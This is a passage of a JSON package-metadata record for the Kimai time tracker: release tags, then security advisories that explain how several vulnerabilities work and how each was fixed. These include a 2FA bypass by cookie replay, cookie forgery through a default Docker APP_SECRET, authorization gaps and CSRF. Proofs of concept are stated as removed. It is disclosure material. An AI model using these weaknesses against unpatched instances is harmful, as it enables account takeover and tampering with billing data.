220cacba4670bb8b4f3","kind":"commit","published_at":"2019-07-02T10:10:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/1.0","html_url":"https://github.com/kimai/kimai/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/1.0/manifests"},{"name":"0.9","sha":"6dc4fa08117f59d146df737736b3ca8659a55d0c","kind":"commit","published_at":"2019-04-29T00:29:40.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.9","html_url":"https://github.com/kimai/kimai/releases/tag/0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.9/manifests"},{"name":"0.8.1","sha":"1f7ec6769a70bc4dec42fd899f424224dd9e82e9","kind":"commit","published_at":"2019-02-22T17:05:45.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.8.1","html_url":"https://github.com/kimai/kimai/releases/tag/0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.8.1/manifests"},{"name":"0.8","sha":"0b57bd51caed7dfec00dfe269aeeb7743bffecbd","kind":"commit","published_at":"2019-02-19T12:39:08.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.8","html_url":"https://github.com/kimai/kimai/releases/tag/0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.8/manifests"},{"name":"0.7","sha":"67dab35b57190299d5c1cd486fc4f23aa9d2b3a0","kind":"commit","published_at":"2019-01-28T00:40:42.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.7","html_url":"https://github.com/kimai/kimai/releases/tag/0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.7/manifests"},{"name":"0.6.1","sha":"f74547008d02fcc408e586e7a90e13785245a34d","kind":"commit","published_at":"2018-11-19T15:17:28.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.6.1","html_url":"https://github.com/kimai/kimai/releases/tag/0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.6.1/manifests"},{"name":"0.6","sha":"417675b3dfbfd0a0659570ed8785db005ff60d3f","kind":"commit","published_at":"2018-11-18T19:45:00.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.6","html_url":"https://github.com/kimai/kimai/releases/tag/0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.6/manifests"},{"name":"0.5","sha":"53053c127e2820e0e4dda505470dee267af866dc","kind":"commit","published_at":"2018-09-27T11:35:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.5","html_url":"https://github.com/kimai/kimai/releases/tag/0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.5/manifests"},{"name":"0.4","sha":"6fb6a16246c74409fcb043be88b1efad6ca2667d","kind":"commit","published_at":"2018-09-01T19:05:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.4","html_url":"https://github.com/kimai/kimai/releases/tag/0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.4/manifests"},{"name":"0.3","sha":"20a2d9499671ff403bcf830cefb22a0436be587b","kind":"commit","published_at":"2018-07-22T22:43:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.3","html_url":"https://github.com/kimai/kimai/releases/tag/0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.3/manifests"},{"name":"0.2","sha":"f563e0703d8ecaa426ad367bd23f0348a7a2b40e","kind":"commit","published_at":"2018-06-23T23:18:55.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.2","html_url":"https://github.com/kimai/kimai/releases/tag/0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.2/manifests"},{"name":"0.1","sha":"c011b83b73dc943c770e6009bfa26447c9feff74","kind":"tag","published_at":"2018-01-12T18:42:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/0.1","html_url":"https://github.com/kimai/kimai/releases/tag/0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/0.1/manifests"}]},"repo_metadata_updated_at":"2026-08-23T11:48:12.268Z","dependent_packages_count":1,"downloads":9677,"downloads_period":"total","dependent_repos_count":16,"rankings":{"downloads":21.005170734144333,"dependent_repos_count":2.9505928656337717,"dependent_packages_count":9.718052343152877,"stargazers_count":0.14509184988362686,"forks_count":0.13085736547163593,"docker_downloads_count":null,"average":6.78995303165725},"purl":"pkg:composer/kimai/kimai","advisories":[{"uuid":"GSA_kwCzR0hTQS1ydzQ2LXFnNjktdmc2aM4ABauM","url":"https://github.com/advisories/GHSA-rw46-qg69-vg6h","title":"Kimai: ExportTemplate CRUD Missing Authorization Check Allows Unauthorized TEAMLEAD Access","description":"### Summary\n\nThe `ExportController` web routes for creating and editing export templates are gated only by the class-level `create_export` permission, which is granted to `ROLE_TEAMLEAD` by default. The corresponding API routes and UI button visibility correctly require the stricter `create_export_template` permission, which is granted only to `ROLE_ADMIN` and `ROLE_SUPER_ADMIN`. A TEAMLEAD user can directly access the template create/edit routes to create or modify global export templates that are visible to all users including administrators.\n\n### Details\n\nThe `ExportController` applies the class-level annotation `#[IsGranted('create_export')]`.\n\nThe `createExportTemplate` (line 210) and `editExportTemplate` (line 220) methods have no method-level `#[IsGranted('create_export_template')]` annotation. The permission hierarchy in `config/packages/kimai.yaml:103,115,122-123` grants `create_export` to `ROLE_TEAMLEAD` via the `EXPORT` permission set, but `create_export_template` only to `ROLE_ADMIN` and `ROLE_SUPER_ADMIN`.\n\nThe API controller correctly requires `create_export_template`. The UI template (`templates/export/index.html.twig:124`) correctly hides the create button behind `create_export_template`. Only the web controller routes are missing the check.\n\n`ExportTemplate` entities are global — they have no per-user or per-team scoping (`src/Entity/ExportTemplate.php:19-56`). Any template created or modified by a TEAMLEAD which is marked as \"Available for all users\" is visible to and usable by every user in the instance.\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nAny user with `ROLE_TEAMLEAD` can create and modify global export templates intended to be managed only by administrators. The templates control the structure and content of exported data (columns, renderer, format). While the impact is limited to data integrity manipulation of a non-security-critical resource (no RCE, no credential exposure), it violates the intended permission boundary and allows a lower-privileged user to influence the data output format used by all users including administrators.\n\n# Solution\n\nThe permission check `#[IsGranted('create_export_template')]` was added to the `ExportController` covering the methods `createExportTemplate()` and `editExportTemplate`.\n\nSee [https://www.kimai.org/en/security/ghsa-rw46-qg69-vg6h](https://www.kimai.org/en/security/ghsa-rw46-qg69-vg6h) for more details.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-14T00:34:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-rw46-qg69-vg6h","https://github.com/advisories/GHSA-rw46-qg69-vg6h"],"source_kind":"github","identifiers":["GHSA-rw46-qg69-vg6h","CVE-2026-52828"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-14T01:00:09.242Z","updated_at":"2026-08-14T00:01:12.386Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydzQ2LXFnNjktdmc2aM4ABauM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ydzQ2LXFnNjktdmc2aM4ABauM","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.58.0","vulnerable_version_range":"\u003c= 2.57.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ydzQ2LXFnNjktdmc2aM4ABauM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OGh4LTR2eDgtd2M5Ns4ABauL","url":"https://github.com/advisories/GHSA-v8hx-4vx8-wc96","title":"Kimai: Pre-2FA KIMAI_SESSION cookie grants full authenticated REST API access, bypassing TOTP","description":"### Summary\nTwo-factor authentication (TOTP) can be fully bypassed for the REST API. The `KIMAI_SESSION` cookie returned in the response to the login request; issued after only the password is verified, before the TOTP step; is already accepted as authenticated by every `/api/*` endpoint.\n\nSo after submitting just the password, the web UI correctly holds the browser at the TOTP screen (`/en/auth/2fa`), but the cookie from that same login response can be replayed against the API to act as the user without ever entering the second factor. This affects any account with 2FA enabled and requires only the account password.\n\n### Details\n\n#### Affected Component\n- The API firewall / authorization.\n\n`config/packages/security.yaml` guards the API with `{ path: '^/api', roles: IS_AUTHENTICATED }`. During 2FA the session carries a Scheb `TwoFactorToken`, which satisfies `IS_AUTHENTICATED` (it is a real, non-anonymous token). `App\\API\\Authentication\\ApiRequestMatcher` returns `!$request-\u003ehasPreviousSession()`, so a request that carries the login session skips the stateless API firewall and is served by the main session firewall; Scheb's `TwoFactorAccessDecider::isAccessible()` then evaluates `IS_AUTHENTICATED` to true for `^/api` and lets it through, and `App\\Voter\\ApiVoter` grants `API` to any token whose user is a `User`. Web routes are not affected because they require concrete roles (e.g. `ROLE_USER`) that a `TwoFactorToken` does not hold.\n\n### PoC\n\n_A PoC was provided, but removed for security reasons._\n\n### Impact\n\nTwo-factor authentication provides no protection for the REST API. If an attacker obtains a user's password (phishing, credential stuffing, reuse, breach); exactly the threat 2FA is meant to defend against; they get full authenticated API access as that user without the second factor. The whole exploit is a single cookie taken from the login response; no API token, Bearer header or CSRF token is required.\n\n## Solution\n\n- The `/api/` firewall now uses `IS_AUTHENTICATED_REMEMBERED` which is only assigned after 2FA. The historically used `IS_AUTHENTICATED` flag  is applied immediately after login and before 2FA happened.\n- The APIVoter checks both `$token instanceof TwoFactorTokenInterface` and  `isGranted('IS_AUTHENTICATED_2FA_IN_PROGRESS', $user)` to make sure that the user is not currently in the  2FA step.\n- Regression tests were added to prevent future escalation of the same issue.\n\nSee [https://www.kimai.org/en/security/ghsa-v8hx-4vx8-wc96](https://www.kimai.org/en/security/ghsa-v8hx-4vx8-wc96) for more information.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-14T00:33:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-v8hx-4vx8-wc96","https://github.com/advisories/GHSA-v8hx-4vx8-wc96"],"source_kind":"github","identifiers":["GHSA-v8hx-4vx8-wc96","CVE-2026-52827"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-14T01:00:09.242Z","updated_at":"2026-08-14T00:01:12.386Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OGh4LTR2eDgtd2M5Ns4ABauL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OGh4LTR2eDgtd2M5Ns4ABauL","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.59.0","vulnerable_version_range":"\u003c 2.59.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OGh4LTR2eDgtd2M5Ns4ABauL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yeGdnLTJ4OGgtOHh3NM4ABatX","url":"https://github.com/advisories/GHSA-2xgg-2x8h-8xw4","title":"Kimai: Improper Authorization in Project, Customer, and Activity Rate Edit Endpoints Allows Cross-Scope Rate Manipulation","description":"### Summary\n\nKimai 2.56.0 contains an authenticated improper authorization vulnerability in the Web rate editing flows for projects, customers, and activities. A user who can edit one authorized parent object can combine that authorized parent ID with the rate ID of a different, unauthorized parent object and thereby modify the unauthorized rate record.\n\nThis affects `ProjectRate`, `CustomerRate`, and `ActivityRate` editing. The issue is caused by missing parent-child consistency validation and allows cross-project, cross-customer, or cross-activity tampering of billing-related configuration.\n\n### Details\n\nThe issue affects the following Web routes:\n\n- `GET/POST /en/admin/project/{id}/rate/{rate}`\n- `GET/POST /en/admin/customer/{id}/rate/{rate}`\n- `GET/POST /en/admin/activity/{id}/rate/{rate}`\n\nIn both cases, the parent object and the rate object are resolved independently from user-controlled route parameters. The controller only checks whether the current user may edit the parent object referenced by `{id}`, but it does not verify that the child rate object referenced by `{rate}` actually belongs to that same parent.\n\nIn these controllers, there is no validation such as:\n\n- `$rate-\u003egetProject() === $project`\n- `$rate-\u003egetCustomer() === $customer`\n- `$rate-\u003egetActivity() === $activity`\n\nThis missing binding check is especially notable because the API delete endpoints already enforce the expected parent-child relationship.\n\nThis shows that parent-child consistency is already a recognized invariant in the application design, but the Web edit endpoints fail to enforce it for projects, customers, and activities.\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nThis vulnerability allows authenticated users to tamper with billing-related rate configuration outside their authorized project, customer, or activity scope. An attacker can modify rate values belonging to other teams or business domains, which can affect time-based settlement, inherited pricing, cost calculations, budget reporting, revenue reporting, and downstream invoice generation.\n\nBecause the issue directly persists changes into `kimai2_projects_rates`, `kimai2_customers_rates`, and `kimai2_activities_rates`, it is a real cross-scope integrity vulnerability rather than a UI-only flaw. The attack breaks team-based isolation boundaries for high-value financial configuration.\n\n# Solution\n\nThe rate edit forms for `customers`, `projects` and `activities` now verify that the rate belongs to the parent referenced in the URL and reject the request otherwise.\n\nSee [https://www.kimai.org/en/security/ghsa-2xgg-2x8h-8xw4](https://www.kimai.org/en/security/ghsa-2xgg-2x8h-8xw4) for more information.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-14T00:09:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-2xgg-2x8h-8xw4","https://github.com/advisories/GHSA-2xgg-2x8h-8xw4"],"source_kind":"github","identifiers":["GHSA-2xgg-2x8h-8xw4","CVE-2026-52826"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-14T01:00:09.242Z","updated_at":"2026-08-14T00:01:12.387Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yeGdnLTJ4OGgtOHh3NM4ABatX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yeGdnLTJ4OGgtOHh3NM4ABatX","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.57.0","vulnerable_version_range":"\u003c= 2.56.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yeGdnLTJ4OGgtOHh3NM4ABatX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14djRyLTQ4ODUtZ3dwZ84ABatW","url":"https://github.com/advisories/GHSA-xv4r-4885-gwpg","title":"Kimai has Improper Authorization in Team Member and Team Activity Assignment APIs Which Allows Expansion of Team Scope Beyond Authorized Visibility","description":"### Summary\n\nKimai contains an authenticated improper authorization vulnerability in Team-related assignment APIs. A Teamlead who can edit their own team can use backend API endpoints to add users or activities that fall outside their intended visible or manageable scope, even when the frontend correctly hides those targets.\n\nThis affects both team member assignment and team activity assignment. The issue is caused by treating \"may edit this team\" as equivalent to \"may attach any referenced object to this team\", without performing a second authorization check on the target user or activity.\n\n### Details\n\nThe issue affects at least the following API routes:\n\n- `POST /api/teams/{id}/members/{userId}`\n- `POST /api/teams/{id}/activities/{activityId}`\n\nIn both cases, the backend checks whether the caller may edit the `Team`, but it does not verify whether the referenced `User` or `Activity` falls inside the caller's allowed management scope.\n\nFor team member assignment, the frontend form correctly limits the visible user choices. In `src/Form/TeamEditForm.php`, the team edit form uses `UserType`:\n\n```php\n$builder-\u003eadd('users', UserType::class, [\n    'label' =\u003e 'add_user.label',\n    'help' =\u003e 'team.add_user.help',\n    'mapped' =\u003e false,\n    'multiple' =\u003e false,\n    'expanded' =\u003e false,\n    'required' =\u003e false,\n    'ignore_users' =\u003e $team !== null ? $team-\u003egetUsers() : []\n]);\n```\n\nIn `src/Form/Type/UserType.php`, the user selector is built from `UserRepository::getQueryBuilderForFormType()`:\n\n```php\n$query = new UserFormTypeQuery();\n$query-\u003esetUser($options['user']);\n\n$qb = $this-\u003euserRepository-\u003egetQueryBuilderForFormType($query);\n$users = $qb-\u003egetQuery()-\u003egetResult();\n```\n\nAnd in `src/Repository/UserRepository.php`, Teamlead-visible candidates are limited to team members from teams they lead:\n\n```php\nif (null !== $user \u0026\u0026 $user-\u003eisTeamlead()) {\n    $userIds = [];\n    foreach ($user-\u003egetTeams() as $team) {\n        if ($team-\u003eisTeamlead($user)) {\n            foreach ($team-\u003egetUsers() as $teamMember) {\n                $userIds[] = $teamMember-\u003egetId();\n            }\n        }\n    }\n    $userIds = array_unique($userIds);\n    $qb-\u003esetParameter('teamMember', $userIds);\n    $or-\u003eadd($qb-\u003eexpr()-\u003ein('u.id', ':teamMember'));\n}\n```\n\nHowever, the actual member-assignment API does not reuse that restriction. In `src/API/TeamController.php`:\n\n```php\n#[IsGranted('edit', 'team')]\n#[Route(methods: ['POST'], path: '/{id}/members/{userId}', name: 'post_team_member', requirements: ['id' =\u003e '\\d+', 'userId' =\u003e '\\d+'])]\npublic function postMemberAction(Team $team, #[MapEntity(mapping: ['userId' =\u003e 'id'])] User $member): Response\n{\n    if ($member-\u003eisInTeam($team)) {\n        throw new BadRequestHttpException('User is already member of the team');\n    }\n\n    $team-\u003eaddUser($member);\n    $this-\u003eteamService-\u003esaveTeam($team);\n}\n```\n\nFor activity assignment, the same pattern appears. In `src/API/TeamController.php`:\n\n```php\n#[IsGranted('edit', 'team')]\n#[Route(methods: ['POST'], path: '/{id}/activities/{activityId}', name: 'post_team_activity', requirements: ['id' =\u003e '\\d+', 'activityId' =\u003e '\\d+'])]\npublic function postActivityAction(Team $team, #[MapEntity(mapping: ['activityId' =\u003e 'id'])] Activity $activity, ActivityRepository $activityRepository): Response\n{\n    if ($team-\u003ehasActivity($activity)) {\n        throw new BadRequestHttpException('Team has already access to activity');\n    }\n\n    $team-\u003eaddActivity($activity);\n    $activityRepository-\u003esaveActivity($activity);\n}\n```\n\nThe `Team` voter only checks whether the current user may edit that team, not whether the referenced object is within the Teamlead's legitimate scope. In `src/Voter/TeamVoter.php`:\n\n```php\nif (!$user-\u003eisAdmin() \u0026\u0026 !$user-\u003eisSuperAdmin() \u0026\u0026 !$user-\u003eisTeamleadOf($subject)) {\n    return false;\n}\n\nreturn $this-\u003epermissionManager-\u003ehasRolePermission($user, $attribute . '_team');\n```\n\nFor activities, this is especially risky because later authorization logic may trust the team assignment that was just written. In `src/Security/RolePermissionManager.php`:\n\n```php\npublic function checkTeamAccessActivity(Activity $activity, User $user): bool\n{\n    if ($activity-\u003egetProject() !== null \u0026\u0026 !$this-\u003echeckTeamAccessProject($activity-\u003egetProject(), $user)) {\n        return false;\n    }\n\n    return $this-\u003echeckTeamAccess($activity-\u003egetTeams(), $user);\n}\n```\n\nSo once a Teamlead is able to write a new team/activity relation, later access-control decisions may treat that relation as legitimate input.\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nThis vulnerability allows a Teamlead to use their own editable team as an expansion container for objects that should remain outside their authorized scope. In the validated member-assignment case, the attacker can forcibly add users who are not supposed to be manageable through that Teamlead's visible range. In the activity-assignment case, the attacker can attach activities that are outside the intended authorization boundary of the team.\n\nOnce such relations are written, downstream authorization, visibility, and business workflows may start treating them as legitimate. This can affect user scoping, team-based access control, customer/project/activity visibility, time-entry behavior, statistics, and reporting. The issue therefore breaks the trustworthiness of `Team` as a security isolation container.\n\n# Solution\n\nSeveral new permission checks were added to `src/API/TeamController.php` -\n- Check if user can be accessed with `#[IsGranted('access_user', 'member')]` before adding as new team member \n- Check if customer can be seen with `#[IsGranted('view', 'customer')]` before a team is granted access to a customer\n- Check if project can be seen with `#[IsGranted('view', 'project')]` before a team is granted access to a project\n- Check if activity can be seen with `#[IsGranted('view', 'activity')]` before a team is granted access to an activity\n\nSee [https://www.kimai.org/en/security/ghsa-xv4r-4885-gwpg](https://www.kimai.org/en/security/ghsa-xv4r-4885-gwpg) for more information.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-14T00:09:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-xv4r-4885-gwpg","https://github.com/advisories/GHSA-xv4r-4885-gwpg"],"source_kind":"github","identifiers":["GHSA-xv4r-4885-gwpg","CVE-2026-52825"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-14T01:00:09.242Z","updated_at":"2026-08-14T00:01:12.387Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14djRyLTQ4ODUtZ3dwZ84ABatW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14djRyLTQ4ODUtZ3dwZ84ABatW","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.58.0","vulnerable_version_range":"\u003c= 2.57.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14djRyLTQ4ODUtZ3dwZ84ABatW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcjlwLTRoNGotNmM1OM4ABatV","url":"https://github.com/advisories/GHSA-jr9p-4h4j-6c58","title":"Kimai: Default APP_SECRET in Docker Image Enables Cookie Forgery and Account Takeover","description":"### Summary\n\nThe official Kimai Docker image ships with `APP_SECRET=change_this_to_something_unique` as the default environment variable. The Docker entrypoint does not override or validate this value. Any Kimai instance deployed using the Docker image without explicitly setting `APP_SECRET` runs with a publicly-known Symfony `kernel.secret`, enabling an unauthenticated attacker to forge HMAC-signed cookies and login links to take over any account including super_admin.\n\n### Details\n\n`Dockerfile:263` sets `ENV APP_SECRET=change_this_to_something_unique`. This value is consumed by `config/packages/framework.yaml:7` as `kernel.secret`, which Symfony uses to HMAC-sign:\n\n- The `KIMAI_REMEMBER` remember-me cookie\n- LoginLink signatures\n- Password reset URLs\n- CSRF tokens\n\nThe `.docker/entrypoint.sh` does not check for or replace the default sentinel value. The bare-metal `.env.dist:38` ships the same default. No startup-time guard exists anywhere in the codebase that refuses to start when `APP_SECRET` equals the sentinel.\n\nUser IDs are sequential integers starting from 1. The first super_admin account is almost always `id=1`. User IDs are visible in some URLs and API responses.\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nAny Kimai instance deployed via the official Docker image without overriding `APP_SECRET` can be compromised from the internet. An unauthenticated attacker who can reach the Kimai URL can forge authentication tokens and log in as any user if:\n- a username is known AND\n- the correct account ID for this username is guessed AND\n- the account has no active 2FA (two factor) authentication\n\n## Solution\n\n- The entrypoint.sh file is updated and now contains a script that generates a random `APP_SECRET` via `bin2hex(random_bytes(32))` which will be stored in  `/opt/kimai/var/data/.appsecret`\n- The entrypoint.sh will create the file `/opt/kimai/.env.local` containing the `APP_SECRET`, either fetched from the Docker Environment or from the newly created secret file\n- The documentation was updated to highlight the importance of using a random secret for `APP_SECRET`\n- The Dockerfile removed default `APP_SECRET=change_this_to_something_unique`\n- Login links now contain more entropy (see GHSA-m492-gv72-xvxj) - so even without all previous changes, attackers won't be able to generate Login links even for installations that have a hard-coded `APP_SECRET=change_this_to_something_unique`\n\nSee [https://www.kimai.org/en/security/ghsa-jr9p-4h4j-6c58](https://www.kimai.org/en/security/ghsa-jr9p-4h4j-6c58) for more information.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-07-14T00:07:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.1,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/kimai/kimai/security/advisories/GHSA-jr9p-4h4j-6c58","https://github.com/advisories/GHSA-jr9p-4h4j-6c58"],"source_kind":"github","identifiers":["GHSA-jr9p-4h4j-6c58","CVE-2026-52824"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-14T01:00:09.242Z","updated_at":"2026-08-14T00:01:12.387Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcjlwLTRoNGotNmM1OM4ABatV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcjlwLTRoNGotNmM1OM4ABatV","packages":[{"ecosystem":"packagist","package_name":"kimai/kimai","versions":[{"first_patched_version":"2.58.0","vulnerable_version_range":"\u003c= 2.57.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcjlwLTRoNGotNmM1OM4ABatV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yOHZyLW01NDQtcWg0aM4ABatU","url":"https://github.com/advisories/GHSA-r8vr-m544-qh4h","title":"Kimai: Login CSRF in the Timesheet Stop and Restart API Endpoints Allows Unauthorized State Changes","description":"### Summary\n\nKimai 2.56.0 contains authenticated cross-site request forgery issues in its timesheet state-changing API endpoints. The application reuses the browser's existing session for `/api/*` requests, and both the `stop` and `restart` operations are exposed through `GET` and `PATCH` routes that directly modify business state.\n\nAs a result, an attacker can trick a logged-in user into visiting a malicious page and cause unauthorized timesheet actions without the victim's consent. Depending on the endpoint, this can stop a running timesheet or create and start a new one from historical data.\n\n### Details\n\nThe issue affects at least the following API routes:\n\n- `GET /api/timesheets/{id}/stop`\n- `GET /api/timesheets/{id}/restart`\n\nBoth routes are non-read-only operations but are still exposed as `GET`. In `src/API/TimesheetController.php`.\n\n*A PoC was provided, but removed for security reasons.*\n\n### Impact\n\nThis vulnerability allows an attacker to trigger unauthorized business-state changes as a logged-in victim. In the validated `stop` case, a running timesheet can be stopped, affecting time tracking integrity and potentially availability of ongoing work tracking. In the `restart` case, a historical timesheet can be restarted and a new record can be created without the victim's knowledge.\n\nThese actions can corrupt time records, distort billing and reporting, interfere with approvals or audits, and create persistent database-side side effects. Because exploitation requires only that the victim visit a malicious page while authenticated, the attack barrier is low.\n\n# Solution\n\nThe `GET` routes were removed, both `stop` and `restart` are only available via `PATCH`.\n\nSee 